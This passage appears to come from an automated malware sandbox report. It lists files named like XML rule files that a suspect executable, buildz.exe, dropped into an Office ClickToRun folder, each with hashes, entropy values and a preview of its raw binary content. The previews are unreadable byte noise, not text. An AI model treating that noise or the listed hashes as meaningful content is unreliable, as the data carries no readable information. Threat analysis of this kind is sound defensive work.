Preview:	.<?."zB.\|>H..,=..or...P.W.\|g.~............yv.X.]......D.._4...v.b(.}C#-S.;.PF:..LS......e.K`..W...t8W.l:..n..O......O.e...=...........q</..y.bfKr<u..@.H...........p..V..f.@...~.w.@.A."^....#.._/.ldgx..3.......;.E....k..I\|..-,.=.@{.Y~...Z;..q.........?x....$\.K..G.9.q.......{?^...&.. ........\| .....1$.]......,4a...boW<e!A.]..v...c....).A.....+..:....i.NnZ8....9!~........R.(~..=.`.-..}Y0..`.m:......~'Q..=.{..........<.&.$..Bx^....+w.].....Q]t..S..ja.-....j.U]Y.{..>........b.8G)5.E0........./:.TA.p.`..L..6.C..#.>.p..T..l...!)_......)a.v..3.>.d5..5.U3....2.H.+..I...eV.d.....k(.\I..s..~8.,.?}...V1..E..d.,i...-...~.....XG+....a...].N.FU.....X.._.7......p.l.R.6...dt........q=/$..0A2..va}9.....e......q.u.o.uX.i..}W...,..r..Oj.%^M....-..<...M{..........:.-....-..]......W..0.....2.......@..-..S.}o..B.^..<...Az[.q...~...p>.i>e.x.......%l.......,.... K.........i..\|..l`E:..x3FN!%..\y.wc....M.0....".`.Q/.N.x...>.....X'm7..V.C...6Y.ub\.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700851v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	7.897454516464149
Encrypted:	false
SSDEEP:	48:OtmNbvq1QaMFcPGJOLsTmDaNsaMkVNoNIFD:umN6UOL4+aM+yNU
MD5:	0FED0891FC9FF49CE6A2EE1EAF7D2E98
SHA1:	E2BC2DBE9EABF0E14CDCF33CDDCCA4FC55B840D0
SHA-256:	6B8F4863CC4E0CA46D92170BD5FF4CF76925A9EF28D2F5163D7C542FA980116E
SHA-512:	AF075B4EBAB4557FE92702AE9641004878DE22C70FC8732B9A3579BEF33946EE2F3744167ECF3ACC79195CBA8956BCC9BC447E914C618A94BD02DE7C3EE38595
Malicious:	false
Reputation:	unknown
Preview:	.<?ll.e:.Dn............`.......M%...../.i..u.Q..g.D.r...T....C.q.`.H.K-dY......a...).hw.^.#.[..9wT.k.SM......9.v')....j%LH...5...Y..2...C.......'Iu .pm.\|.6.%+..:.k..'.....g.../.z..(....!.<.......!.....Hm.P..h..L'.j..3;......xP..xM.&.......B.xP.....L........uja.C..Dyl.e{!-..0.....i......Xk.7.X.....~[<C...sWW...K..i...2Z...T<....cl._}:..P./..lJ....Y.Y..3...,1.C..6S5.5E....vY2......t.......n.+.>r.z=S.NB@..k..d.%...bU\.[NH.L..T..r.......]g........@..'8h...T...ES..B.w-....O(3...m"..91"..C?....s.M.<.:a..+Z....;.[....\.7i.iQaf.:..g...s....1M...e..p..1e.......is.lh...B1.I..x.....?x.S.t.0./d...y.1...'.Q3.e...V..s.I....D.P'.....A.1......E.....;cZu../l.^Q.p.v....z&.~..H.Z.....n....E<o:......A...e?....6...._7..........a^1U.8=.z.N....,M......lH..f^.0".....""...y.\.Ppz..z[.'?.@.T4....7..y...M..G.Q@+.]...-H.r9,....(i..l@.....1...o0Xd...\...u.`...W%s..<#..9..L.).'M.}... ..@PJ..r<.Q..s./sq.Mj]..g.......5...A..4...... ..x..@s#...h$....&a.a.fL..B.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700900v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.869848608569466
Encrypted:	false
SSDEEP:	48:CxcONOIBlmaqq+xmIPadyN0b8OS04QGBwmdGgGdJvfBlSrVy6D:My2SMIPad1be4GBwLPrBsrVyS
MD5:	50770BCD46DF659D533582B6B7624CC9
SHA1:	5A570CC68A8887B1EDE1B9F48FABB66E101559D9
SHA-256:	781CC2AE03EA7180991E2C70B2763CD70947693BD695DEFA2B21648C0EDDBF02
SHA-512:	174CEC54E3D5FE533C0B44E7E401CEEB062275BF0627C5E26D04710D7F72FF2E94DB0D08C3CCCD5AFD6B2E3DDB2CD2C5D68F416D3548310666F75F3DE9B4BAA3
Malicious:	false
Reputation:	unknown
Preview:	.<?.V....%.,..\....j.....c..........d@... .&....nb._.^s...,.Ru......$.... .O.......Ob.......(.Lx.<..Q.1.T...L..<...A]...{Y.o..su.!........fet.$..Ef.-.A .J.....E.....@z....:..Ba\|c...J.2.../....m].N5..~...d.L..c.....i.a..J...T..!....K".._.....V...8q..Ep6.)....V..../2cr .7..2..3..r.F..I....oO...0;.4........;.)...f.y.q...1.l.$.5S.1.-..N.6....T.}.0L..%......6JZ..)M..n..r"]..PF.*..}..6......l....v.....T..@...W..h`46.z.... q...N..J...%.....{...%Prc..K..oy...J=p.v{...C....Q~.R......2...Y......1^@$.%.G.k8j.W...PJS gE...).0.......O<.{w?{.........%h.!W5..c.SR...M......v.J.I.7U.9b.< .V%..q....z.......b.....+.C.{..l}...Q.-........?.a.N4..'e.z.Z.......I.xZ.@.N.V...#...~(..a......2..L`iJrE..l.m-. ."Jr...N..I...o.fSH6X`6.Kh....I.....VC>e..q.xwo..P.)k.\...\|1.....uI..P.A..p...`.y..D..s.._.c.U....>y..]..g.V..a..uKI.....%..F..4.f9......./.A1.X..E..3..yc...A.g.ro..2/.~_$..4.dqX....Xo...P{......r......#t......t...:..]$....u..l..H<....[5G. .@.O;G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700901v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.880215819663405
Encrypted:	false
SSDEEP:	48:E5yUZqAuIO9/HLmitxu6g3/zDOnRp8AP88sD:E5yUMt9/rZoGnPr8d
MD5:	BFB993F0C7C4EFA43AD63DA4EDE0FA6B
SHA1:	F2797CED2915B1BD1BE30EB44A64CB65285DB642
SHA-256:	C890FB8AE900AD4048AECB75E2A9D92A58FDA59447611160C636DAF41B60F8E1
SHA-512:	18FFC709A7090FBF3428B6312D6DD15772FCA3C9263150AA525704B5A50DD231290664C5151F3D2BBCDE9084C4E8ADD72A3B071C262C9123EB5DAED2358D5C79
Malicious:	false
Reputation:	unknown
Preview:	.<?.G.....0.cd.&DO...dd1..c&'.m/DHt..+d.6s....}rSG.v.....n..VL..3...\|\|.."'...(.^.xy..y.{<+.Y`L)^.#0.6@..6.P..\|>..,.{.1;)...M..p$>^;.......).....,.DZ1p...uSrCJV_+.(b.....H .W!.y.......<7E+.....N.....d..$.....s.....Y....\|+\|......Z.....&.xw.v'..x3..L...b8..-....Bd\|.HD..B.&.,.'..x......\|...l.p.o.>.R.J:.&.G..~.-d...a...W_.b.m...=K...s.J.`...X...}{..).g.._.6...Q ......o....}...I..>..J-..8..yM.<...K.a...u.4..... .BR:z..:h....`........(A.%.t)y.....X2....ynH....)q.t.\;3G8..+S{Ey&1..*S.dw.n....>.....{........[..y\|..].`Z.s.X..2d;z".I.1..._. ........Sh...t.V..^q..O..$...i....q.].T\|.i....4....F^....Fs.....6a....4YN,...\|..I..0^>.R.[aqG9W7.<.I..U.K.....G.c....I.......\...h!.^...h.O...cZ......M..4....aF..v}d".>...o..yC.G.f.?.....P.C....5h.J4.-&<..........ui5._...:..z........V...f....h....x}...hF.T..../..o.m..[...../...q..k.u.E.n...b.A.B.......b...m.!.......X..k.s...1....T.9.:...F.}..o,Rf.h9.7..9.qih.r...A.'.......gY....._/..H.....F.s.....`.. /.8.sP.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700950v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.88431437085725
Encrypted:	false
SSDEEP:	24:+fkzFCLKZgXK05VSINsEE8jJqdf7FdqDfGRnrg96b6OZWwyMfoXBZKQr+vufR6Gk:YmOKNEEXZNr4w7fSL7fR9Wd0oD
MD5:	6C93EC2517963D86EE84D475C4DDCCBF
SHA1:	EA2BFA7A53ED23F930B6089D76F08DC20C4511B3
SHA-256:	AEF76767AD66C1D9993E214D6E93E56CD0021A543B840280FDF8BD68466FEF6C
SHA-512:	4C6B553A4075E9F22BB6B683472F54104881AFE83FB37DE5C54D11D5C3B157182464C19D017A3193FE20A7B2E84B015FFC60FA492A4F60CD0E74EB7282C21689
Malicious:	false
Reputation:	unknown
Preview:	.<?./..wHc.D.. .'7 g..\R......\|.C.....^.Ah.U..j]...$.Q.....,ia.ed..=&i..q..w....)....?.S.#.$i...G...c.}...V.)c2./k..X..........H.33...:~x728.d.1l..N.Bh.e.3...-P...QGr.1.?..a.E..tTzvS~.He.d.zXo.h..BD...OB._.{...j.6..Se;../..Jx.zh?Z...a.t{."\|.`.".3..p:..UY#/^.u...T..&..=...vv.a1.?.h. .....P.}..!?9.......9.A....#<^.....sb.4<0;....h.....c.Nzw.)..w.?+..]......B..xH...~$.f..Y....EX E..$m:Q.~-z....+....=...$..F.A~..n;.A.B..._..#E.....a.....3.........a,..b.xo..8o,gB.V.jQ.F...h.."...hh..QK^M...`r....2.l<v7/w.p@,D..1.}.........;....gT.b.....Me\|.....U5..l`. .1...[...h .q...../.`J.1.......y..m...Vv.P.]#..#.T]@!....O...6..i........x2H.viD...R...M..Q.>...L.....#\.0...}I\|..y;o.Fjp...O..4...me.UY..}C.......~1.....#&..^d....o.M.6..As.b\......2,........D7\v.U.L..".t.F..f.\|.X.$.N...qOm.V.X..x.......Tt...{.%~B..=.......K_..<..g....F..1.Vk.@...lr2....OJ[..........>...A{.`...p$ n.%....:..Y.6%H.x..a...~.......L...Xc2...](...7p....-..?,^g\...P.z1.....'..K?'.?)]...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700951v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.886406961470262
Encrypted:	false
SSDEEP:	24:7V9PHrNqQOhRasTazJxqhoJGX5bQTro8PwaOQGkhu/gwkXD2+3AkaZ4sn9VAK8tH:T/5S7a/qqJGX5WVPw99kIAaZ/Qi13V4D
MD5:	6E4E3D82F1D579E4AFA3482B08D35B15
SHA1:	9CF7DDE5C6AA7AE8B10C76F45045CB228C3F66EC
SHA-256:	62200C0562B87ECD3C4E50C1C8BB8E9FFCF37A2CDCB4EB3F58B59ADDA88A8530
SHA-512:	92678C4114F2EFB78A7F17193E54E9A990CF1F31C821F7546AF404503D4B0ACF91F41E8649250C3BE02323FCF5A6E62F0E3B0E92D4DE9D1F5AD6CCA56207F8C9
Malicious:	false
Reputation:	unknown
Preview:	.<?.{Oz.>.x.....R.^..&.D.....3.$.......3.li.J.t.`.Y."./x...N..?..Z?l.Sf.....H...<.[...`.....X..s...(.....t..+..L.j\|..B.....j~...)..X`.....AE....hi.b.R.]&.0..7....>&8.?.K_...o".a'..@.....9..5W...f.j...-5.Z.I.....]X..`p..WDhZ..:..%...Gc..w.!.f...3?]o.Z..).x}d..T....l...J.fy..6dn.4;.1...C..(...`....e.]....o.........8...Q....\|...............K..M.6.,.\...1.Y.....j.H.l?.1i...[o.K.0..'.IFQ2.{..-...J..H./....(.,B...B6s6......'.>.+..\sY.}...a.Y...'`..>..22..........>5..^F....%:@ t....c.tR?`:....+.X.q.........Suj..H..OO.M..g...-`.....v.8...l.;.....$...]w..kd....v..jF.j......}..1X....)......h........&=.../.....yD<]..W>.a..pdF..]{..s\|d.%..%.=.....xrj.L6._../.Gm....).E.O.!..7\..L..Yv.o.k.....[..#...tkfiI_i...7.}0..(c..E......x^..D.j_....%E.......%...k...]D......Q.tn.s..i....J.p......s.y[.....%.q.z]...\..._........ut..lF....mRn..7?....n.q....p.D......F.\|.C....V.u.K..g..D..[3....qME...%....:*:E..V..v..%....{x.....,.B.DBIO..:...p...=...~....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701050v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.873336490413719
Encrypted:	false
SSDEEP:	48:VmX6lnn5FDxumqqJT7AzR13Vptl7P3uPjWfZtryduCHkD:4X6DFDxum3CTfz3uqfZtrydpHw
MD5:	6FF966951581C3CEB16D5E917B92E5EB
SHA1:	B8A9E0B3A4A27231E8A2E6312B220DAC3F8A216B
SHA-256:	D2267A5E602BF7CCF2D6C015420D61D4D935F1A0CAEF9E8F0E17D09F291D4735
SHA-512:	1619C8284BCE84200AADE4953F71BFD0FBD861C46EBE8535C9B7AB51B2D5C8E3245912EFE0AD49906A7CD0E6C8DE3FD2DD4CBE9F84197981B70744DF1E1D2FC0
Malicious:	false
Reputation:	unknown
Preview:	.<?..H........(.J.^?...........E.$A.Q^.A....8.}O...U..X#.YP..EI./..7.`T.t..........8.{.7....W.........Zg...U....j..Z.He...$r%....f$.y..?b.Bro7..........^.......Qm.....D...Nw..K.d....(..?.o...C...i>........-..:(AjY...7..G.8.4.W....c..........r..r......v......c.A'V..Z..q.H[......t:...B.c..Q2...r.....\..(zuW...'...T....R.$=.. ...f..Cg:X..........h...l"y<\..ZA....@.....!i.....\|`Y6.s.....X.....\W.<T..[V<.R1...>....>3..L..O:U....f...s......7.,.....,......i..o,/{.g...Gb..-...S.J..]..{\.<>}=?....\|..Nl....3....L.Yv.I.....r.2..._.W..cK.~e..Y......$%.1~.v)....8".iP.YwG......_...'.$..1m..d.~......t..a8..M.D(l.\|..z.../.3.....%.\Z[....@.X.....L#zZ.."....L...mK>b....8....Q6..^qv..cVZ...:.!u..a....e....7....?.=5)5....3...T...{..C.~..s...j0.....Y..&..R.\.f........].....0....L......z.....M9i^.<........m..Y).r..D.../....9%g...(...Y.R..J......Hi.<.5.X...v.p...+8+4/.2.5......Y.8.......U$<H..k7.H..H....X}..$....x(...E..X{..bvAe.T'0i}...i.U*..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701051v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.890107723377854
Encrypted:	false
SSDEEP:	24:koNp5Dh/ZAXUpepGWKRWzWW7GPoAZV+jBnPKZy54NAIUjbOo+8olWaPw4nXPKbD:kKDh/G3pGLREPPhlPKZyZISb1XoJXPoD
MD5:	57A563040EEE62EC945AFED1DCCE2361
SHA1:	E97814F57B43D88F3A604037247187C0B7844D8B
SHA-256:	ECD4F599515126536CCD2CEE744C857F481561B30B56C5A2A37DCE0289756F0F
SHA-512:	960B358C71FBAA7A52CA8BC9E14931B7846D6F33C4AA27077C451DE81029EA824D665E8C194198A51538F505443D7378352684582F3063B96E44B291A4FCE9B5
Malicious:	false
Reputation:	unknown
Preview:	.<?G..0..M..h.~.(WF%...g..Fl.Q..).E5...kVP...BI..F..;.Uf..}H....S.%.N........w\|].;...4..Z6...z.zbb.Q.L..H.....8gz.._.T.....7S ..5z1.e..B.s..u.P!.W....X...[.+.?:....=..]...... z)..2>..).....\...i.w...i..".I^.x.\.I #...........RF5..r...A.[.....8y...<D.}.0.n.......#"..zX...Q.f.....?.%q...C..[.."^..=..1....H,.&3..".\|..:....:........G..<.C.....A?.<......#_..$^F<.c.a#.g.Q9X..u.]....o......3...N.{.1.)q.M.0..wk.PR.bvT...0...... .qzJI;f.i.#....zb{.._..k)...,..r.e.@...ia.fd...........Mzmz...../.."...t.zf.N.ru,...M...})]..5......r.X....8.!j..V..a5.q..../...Z.ur...mD.......m......L..n..z..{6.N.,.)Y}]jU..F..). .D%bXl.G\..(]V.n.h....8sBzIWe.y.o.h.!...6.....l..[.et.......!z.9..v......"..8..p.....d..o...}....Pv.Wf......IG.i.;.x.Kv..^#..?w~.~.NJ..T.....`......^....\nN.r....i@;PQ:/..Jh.....D~...g..=.....;.(.e..h..5...#........H.0..G.........AD....xS..Z..\.?.0.Sh..kXN.0....10..4..@...c.-...yi>f.l.o...$.#{N..l...U...\|gL..i~.~.:.Q\.\|...6..?...x....]..1.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701100v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1708
Entropy (8bit):	7.891975034849767
Encrypted:	false
SSDEEP:	48:dZoi3RsZkmSPWBCz0bOs79Nm5vc232LMZ7gppucZusprD:dd3dOELQSvSO7yscZn
MD5:	BA6CF4F1CC88F7543A1B2E93842D0949
SHA1:	A693EFC67BA724BB9D5A26CC1053059EC9F78D79
SHA-256:	EB9AA5FCD6A5E6798A077ACDB60F2BBE3913D2F96CD35737C002F3BFE087FA84
SHA-512:	7E1E3CF0FD5000B7811D27B58CAD56F409EF94A9CA7F71892CBB5F4F570C0A54C084D5A8F5B7084AD04ED0E4AE49DDD0724A890896793BED6C5EC7022D6F7321
Malicious:	false
Reputation:	unknown
Preview:	.<?.g..P. K..KUpbM.r0..V#^.$..c......l)g..L~....:P1)...L.2..M..6.1..wy.s.......>m..je)..JU.f.:./5v.a....k.....v(..r...k.Z[,..u`..!1Y....E!...%.....^y.i..\|N.]..)..`'>.n.u.g.e..!......k..z{.[.(A"..V....?..u.$..'.q.T.Rk.=.`..~[...=E..;...(.H.....Nm...@1..=c.J.iz.J......L.Vl;.N.5.OSyaA._[.:....i.dP]t.m.'.s..ua..b.3.....s..~...V.....J.l/....]....8...&5................+..8..f7^..9.VZWn.....i...?.6...HH.@...+B........ ........)..[...U...d-.._C.W{9=....r..;....:.}.....c......jD..w^...Z.]h....<X."..V..^J.dVoz....L..;.!wN......n)%"?n.#ui.6\c...M.7.h.`..99R4..3.#0....g..T.}#...9.\|....u.\|.9.=....f..&.;.v.Rg".~...i...}.....QP.C..F..@.(..S%V......eo.e.......Q......3$...A..:.T.\|.<}.7.p..s..1Rry.og[.Q<Mi..ON.0.b.q.D..../.Qy......2.T.C......{..u....1i...Zm.....XI<...F...x.....xh1..f[$$.6+........j..1..$...3.X..b...>-.k.......>AB...u..uh.]p%.i5.3.,xI..!i.qu.k..p..H........$Q..r.......(..a.........Ilb..n.=,..Ueg.h1.L...&...(....g.^.5.R?.WI.3,...x......F..>.y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701101v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1745
Entropy (8bit):	7.882685435046516
Encrypted:	false
SSDEEP:	48:qDmeTfWBM6AOAzizsepeTBZPPp3G4WIFchGApcD:qhTUZzs0eVZPZG7IcNC
MD5:	D60FBA60C8440A58206E92C8081BCDFE
SHA1:	1955A53A21858EBFD54843BFCF8A741F392C307F
SHA-256:	1619B127B28E9E6D85B6EB5F418C48B43AF70A4D2E665E2CE622276B8BD85B89
SHA-512:	8CB3A99FFC2561812A7F379B348FCDFC6603F8011060607272063C634AB03CB9F6C14BE80F02284552BA4C7EBF3E882406C53496009A846662C673AE50FFC0B5
Malicious:	false
Reputation:	unknown
Preview:	.<?...X..~{..V..T#\|-...@K.....H.Og..].^.x.....QK..VV...jP..c..B..G.I,.U.n.!X...o........G"w..JnG.....Z.og..#....f..b..4.x.=..5.5n............u\|..B8......w..j.k}....... .8...C".55..g....<.A.)...'.n..u.v.>..S.$..nO..=R[...N^}.x>.~. e..b,.......`R1.ckdd..'.....+w...m......9....?R.%...".#...>..<&.".Z.{.....a..U@...Ih........&..8......8.x..=.<..u...i.......p+.>....Z.....75..+{.......^nm.~.....`r7/...._])...d...b.......B.w...;}a..2.3.X..O....e..j..<%.........`,9.....Rg..#.o.).....e.\b(.]...b_.'.'.........F.1.Ru..,.7...A...k..{+...AA.,.d.i.&h.7:...W.......6..U...39~zU.#.X.......-.....m.&.$....'.....6.>U...6.=Q....rN).x..y.....g..H".xgF..........X.....f.%..nw..f..&e..!..-...M........DPf.;......N.3v..r6L9.....WI-...i._.7.hW......z..k ...X .hP[..b.......Z....k@\|...?.}GI .e.Y._7].U5.'y..W.K>.G.?.vS..dF.y..R.3$..Eg.0.B.x.......f..A..T.f......J-..q."m2.....fX...=7.g..U..4....,=,..2?]z..Z..../........f..'.h..%A#.C....5..'.5.....n.k.Z...B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701150v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1698
Entropy (8bit):	7.889318016856082
Encrypted:	false
SSDEEP:	24:0Ff8PRV2heEKZuOyJddYLZOnmGF7xe4hm29D6+CV5MYnL1cuIGh2bD:0FEH2hDqyWLMnDp9D8d+ekD
MD5:	83107EC3B03C198BD1812187300CF1F8
SHA1:	82DB704A820771D683131800E608EE37C610E927
SHA-256:	0469885C26C10AEF2C6FCDB7623C5C9589F8A15170645795C90A96C47B352E04
SHA-512:	F752BC6B62B255082376091ABBD3CD5258F71DFEC31342F01ACEDC3A4CF7F244516BC3EA403E7336C7F7E35C3EC5459C242426F5F984F8C5C144D0D861A8E0AD
Malicious:	false
Reputation:	unknown
Preview:	.<?.._@2d.w...p.._...x_.7.z..-..f..f.........6..{m.)-)....1......."b..,.w&.[....~.[z..?..?..Bb(..O..=..D...v8O0...im.9...o......k.L.p.J...hr. .5....=b........_>o...]."n......n.#.SC..y...@.q...ev\| n.b..=..G{.u..0...~.p.r.IA.......F...Ss....\..:(.{q..,.,..?....!..m>.[.z!..G..^Il.1.Ml.. ....0GK.....z79.6p.6.}...o.%.)..#..2R>0`4?.....!.......\|.q...@(.Gt.>.....u E..)...:..d.X.iv...nk1.ah...../........1>.X.y.=.....B.F-bm......r...x...#w.#...k.{.......RK.o_....D......W........_..&Y ..pL.Ur..s..^..=E.E..%q^n#P.6...1...8../.=..BDu_...N.e.A.0..:..x...Q..,p.....m.Wg.......pW....L.....)^Z.....B.^....@.....L.....&..-.._...$.A.eKEE..2.U]...\|.ut.9.7@xb....'....M .O.M,..%...M..B..vM...V.U...wZl.D....T.....,\.......~.=..r......OO.....yh^U.&....z..C..0...`t..)...z........!.%Z..Kh..eg3 ....y,jFN..&...q..mA...N....x.F... ..2.....>..z're.>.y.c..+...v.$.....{d.:.^.&D......'#R@.*.s.@8.6...,V2....G..o..!..L..G6.@...em...x..d......o.>.....8........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701151v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1735
Entropy (8bit):	7.879486996213125
Encrypted:	false
SSDEEP:	48:aTzuCDLTYgtFV7kUmSiT20NZ/hQTboQew1T3UByD:yzuG9kUPwZhQTbh1T33
MD5:	BBC86ED255677798E80EC52097428D7F
SHA1:	B861881867C8F44F580F0840A7ABBECFA41450B0
SHA-256:	69CD70E715B1A0455068DC95392FF0C1148693C8BEA5B9D29FE231019D50809D
SHA-512:	38CC24FA5662F2A946D3AFE064894FB5F34D9F1DDC7F4488894BB2512180A8408A38B9C02DA3275832D4D01A66D8169F24B5506A6FE471642329495B2A5A0FC4
Malicious:	false
Reputation:	unknown
Preview:	.<?v)...kj#...c+....a..:....{....B%..29.dT_.ST.J..W..8..b...I.R......[.{x.sC.g.....Z...v".....5.....08F.?.n..OXM..</7.L..,.].F.Dn....y@...7.......u....)..t.=Q....}...UR.H...h.(.\b..+..&#a c..\|ST(?..c.aw.......J..H:k.y.%...S.Y..[.&,.Wx.HG.'.......+=,....n.q..].J...B3...(...T...-NA ..#...X....../....!.fDW.;3V.....4...s...E...q..{)lS/)y&d1M@,M....A......[...2.-v.....s..w.}...=b ..K..............6vcM.e......E..ab..>a.....m....D.....G;..>m-......BmG-.....6.......C.T.E..u./.7.... zV.<J7}.j.....tt`.E.a....<q!.+.0.R.T..........^p..Q.::.v..W.?..O.Nz......:X.....@.;1.Nq".;...J.j...].6;VJ.....~..u...x.H..8.._bN.5aN.m.E2....X.nP$2Lf[.-..".....a44...(.pt.=3.q.m........n..o...J.5.....r....\|..N\..t....p.....e)ts...f..K.0..........rl..'..q.GIzh..-C:s....).i~'.e......> ..[au......q0...]..{2.F..SA.<.f.z..o.-._... .>.LV... ....evo..^...Q]....4;;."...@..f...^...'....lQ.l.g...R.`....8\]..O]8...7..DLk./.zJL=FI..p......Al....Ki\|.H...."#....dO..@Sg2SKZ

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701200v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.881274130434909
Encrypted:	false
SSDEEP:	48:gkbDAgIrxcQgDIMQ/1Qo3x4CC6fMoeD7D0NnsuD:gkHoEIMQ/ra36fMdgNf
MD5:	95543DBBA51653D2BAB83FC90C0F88FA
SHA1:	957280F018DEE24EB109FA862E7E7B23004D605D
SHA-256:	C0477EAE5A06E1143A8541C3733F3908D88AE917EC1D996D7A36A73CB5B1A8D5
SHA-512:	A795FC5F819A9237075623428EC35160B96F4FFA749B6AE77D02D341FA489776CB8942482504B0997D822A78A7E32B2293D21C0B6A34C22EEA23A67A5B2366F2
Malicious:	false
Reputation:	unknown
Preview:	.<?....V.\|W:.j..W.s..F..t.l.'J.Sj...q./..8o...m..^.P^..2.c{e......&jO...#5.T...V.;.....f.O.@..Y...D.$.".;3Z.q..T.i.L.l"....N.,]B.....{.p...K@([QSu'.-.....l..hw....5j.`.....#-.-."O...0.>p.+..i..6&...&....W.7w:....K.x......./@..+Q.q.C..........'.....+...z.1.....(........R....t...p..9X.3q.`).. /....F....Gg+.f......,.l7....,...J.;.-...P.Dk..\i>...U.k......#T..Q.U..6...@.y..w.....f.....!He...f......].L...S..<.vnO.f...Y.R...y.....w.iVO.Y[bn...Si.7V.......N(D9..l33.......J.b.]W.+....p.' ...X..0..O.k1.D..&...,.h...y.;...(q.P..Xq..$.....0.......v.U......@.NL.E....}.B.s.O...e.y.....gdz...&.f...r...e......3....@t.L..m8..m.:..2.E+.x...1.m1.do...e......-/9.I..8.G%.............1r.'4../n46..ST..>.......pz>P'Ou......3..(...5\V."2.`.. fDj..S....=f....%..w.#.....1...k..3...JDv......C2h...9.y...E......Z.+..F...".+7....3.J.._..IA.sQ....w..0..co&.z.^..?...4..R. ......S]kw.8Kmf..J..`.........\|?..S.9V...+...p.BP...fF..JN.m.>..L\y..y.%Q"_...s

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701201v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.888115621110516
Encrypted:	false
SSDEEP:	24:8Daunw2Fr+WY9eT+R5xGSgLPgj3vERd21QJhxSz6OoLLJe2DA9rbD:8egrhj6RbGPYQRdSQJh46jnUPD
MD5:	A9B31BAA96ED0BD61599B6E222D421C7
SHA1:	15ED59CA8B51C7EBB193D48269E565EEFF38F114
SHA-256:	E99C57DA221EA6F879D16FCD632C9A2A8476BAD561F4C71A822BB7C60398AD51
SHA-512:	D9A2EEA817B52D44CB8940C2A884E47F5B5F1B82375253B7315188073F6B3C8190AE0617D43F087EA394D1B56AA50CC1F8BBCCD935A6A3A7807525D32848ED92
Malicious:	false
Reputation:	unknown
Preview:	.<?N.\|_....B`o.85..h........+..Yv.2;..jBF.m....g...<.3...]..!.s6.kL.~.T=.. ...Ca6.,e..EE}..j.L]i7.%.J.C.g.......k5....%.J.1i>U9....s...E.........G@.....Y...j....R.5...L4E.....p.T..F&d.Uu2.. ...y....=..{f0...7.....8.d......'.....!nQ.j.;.jO..j^.uDz.m...'..N.....W./....?y...o.B@B.A.H.....N.......1..G.v....2>Wg....4..]..G...W...',......,..`c._X\|.w.q\ j....KJ..../.......M.}hWR.PUg#...%..RdZ..V...7..n..).G.....^.%b{...../f=.}...dZry ..\...W..K.7P_..P.....q.6.eL ....).Y.....4....1.^..1......e.).........>...?:...R9Mw.1x..........>.y. .-6..X..}8\..)....V~0..?YP.J....{....?.~....$.i9....g.......q.Wg__....?..@o.t.....\.^.[.h.3GZ...S'.........+I ..lz./=..qiH.....A7..o.=.z.]O8[...-.S..~.%i.&.Me.L...r.....L.<.2.Y...Ww...R.\|..M...e....`.`.=..._.....n.R....x..,.8.WI-H..l..B....D.!.6....x..C}..X.....z.".huw..-/g.X.I..GS(.o...l&...Rh.nA.:.D..}CO.cGC.o..k.......E.Z..I....,...&#..;.....k...w..w..k '...... k.......nT%.L...C.K._z^..].

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule701250v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.895564300110986
Encrypted:	false
SSDEEP:	48:beOW8+v+TYxCYLzjlgBemx3My4njOHg+KCOh3D:PW0AC0XaImx3UnjggIOhz
MD5:	3A6655D68A3D95D47257D406AA0AD83B
SHA1:	7B675F76548E3EB5709DC3691C196FFA8308134C
SHA-256:	0A3A0098A4C4DF1626856E948B9AB71E2CE2519A415C81D8C75B5A195BDBD95F
SHA-512:	76D39C65CF7AF4C3CB753A8455F0FF5AA91C6208EB25F4A7828F700872FC3AEDDB9226E3688C12ECF902055922D1D0194620DBC18478B36F23A6D12D19A0042C
Malicious:	false
Reputation:	unknown
